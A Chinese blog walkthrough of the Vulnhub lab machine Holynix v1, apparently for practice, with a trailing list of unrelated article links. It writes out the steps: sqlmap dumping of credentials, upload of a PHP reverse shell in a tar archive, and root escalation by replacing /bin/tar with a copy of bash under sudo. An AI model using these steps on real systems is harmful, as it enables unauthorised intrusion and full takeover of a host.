当前位置: 首页 > news >正文

vulnhub靶机:Holynix: v1

下载

下载地址:https://www.vulnhub.com/entry/holynix-v1,20/

打开虚拟机

选择下载解压之后的文件打开

新添加一张 NAT 网卡,mac 地址修改如下

00:0c:29:bc:05:de

给原来的桥接网卡,随机生成一个 mac 地址

然后重启虚拟机

信息收集

主机发现

arp-scan -l

端口扫描

nmap -p- 192.168。109.139

目录扫描

python3 dirsearch.py -u "192.168.109.172" -i 200

访问 web

进入 login 登录页面

点登录抓包,把数据包放到 1.txt 里用 sqlmap 进行测试

SQL注入

python3 sqlmap.py -r "D:\desktop\1.txt" --batch --dump

发现了用户和密码的表

账号:hreiser
密码:Ik1Ll3dNiN@r315er

登录成功

文件上传

除了第一个用户都可以上传,利用 kali 自带的反弹shell 的 php 上传

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
vim php-reverse-shell.php
tar -czf shell.tar.gz php-reverse-shell.php

改成 kali(攻击机)的 IP 和监听端口

在 kali 的火狐浏览器上传 php 的压缩包,并勾选上自动解压(本机的火狐上传之后解压不成功)

开启监听

访问 kali 上的 url/~etenenbaum/ 页面,发现了上传的文件.

双击 php ,监听成功

sudo 提权

sudo -l 查看允许用户使用的命令

sudo -l

切换到/tmp目录下,将 /bin/bash 文件复制到 /tmp 目录下

cd /tmp
cp /bin/bash .

更改文件 /tmp/bash 的所有权,将所有者改为 root

sudo chown root:root/tmp/bash

将现有的 /bin/tar 文件备份到 bin/tar.bak 中

将 /tmp/bash 文件移动到 /bin/tar

执行 /bin/tar 命令,成功提权

sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar
sudo /bin/tar

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Capital许可管理最佳实践
  • PCI Express 体系结构导读摘录(六)
  • C语言:结构体
  • 今天一定要彻底卸载Windows Denfender!攻略给你了
  • 为什么kubectl top命令查看节点内存使用超过100%?
  • Wophp靶场寻找漏洞练习
  • 容器镜像同步工具image-migrator
  • 海量数据查找最大K个值:数据结构与算法的选择
  • 快速切换淘宝最新镜像源npm
  • 【聊聊AI编程必不可少的NLTK及其punkt、punkt_tab安装】
  • 设计模式 -- 单例设计模式
  • Linux - 探秘/proc/sys/net/ipv4/ip_local_port_range
  • 嵌入式Linux电池管理(TODO)
  • 【SpringCloud】微服务架构演进与Spring Cloud简介
  • EasyExcel 动态表头+表头合并
  • .pyc 想到的一些问题
  • android 一些 utils
  • canvas绘制圆角头像
  • java第三方包学习之lombok
  • Java面向对象及其三大特征
  • nfs客户端进程变D,延伸linux的lock
  • node 版本过低
  • QQ浏览器x5内核的兼容性问题
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • 干货 | 以太坊Mist负责人教你建立无服务器应用
  • 排序(1):冒泡排序
  • 前端每日实战:70# 视频演示如何用纯 CSS 创作一只徘徊的果冻怪兽
  • 线上 python http server profile 实践
  • 一起参Ember.js讨论、问答社区。
  • 异步
  • PostgreSQL之连接数修改
  • 数据库巡检项
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • #mysql 8.0 踩坑日记
  • #微信小程序:微信小程序常见的配置传值
  • #知识分享#笔记#学习方法
  • (04)Hive的相关概念——order by 、sort by、distribute by 、cluster by
  • (42)STM32——LCD显示屏实验笔记
  • (7)svelte 教程: Props(属性)
  • (C++17) optional的使用
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (二十一)devops持续集成开发——使用jenkins的Docker Pipeline插件完成docker项目的pipeline流水线发布
  • (附源码)计算机毕业设计ssm电影分享网站
  • (牛客腾讯思维编程题)编码编码分组打印下标题目分析
  • (十七)Flink 容错机制
  • (四)JPA - JQPL 实现增删改查
  • (四)js前端开发中设计模式之工厂方法模式
  • (转)PlayerPrefs在Windows下存到哪里去了?
  • (转)利用ant在Mac 下自动化打包签名Android程序
  • .Net FrameWork总结
  • .netcore 如何获取系统中所有session_如何把百度推广中获取的线索(基木鱼,电话,百度商桥等)同步到企业微信或者企业CRM等企业营销系统中...
  • .NET的数据绑定
  • ::
  • @angular/cli项目构建--Dynamic.Form
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)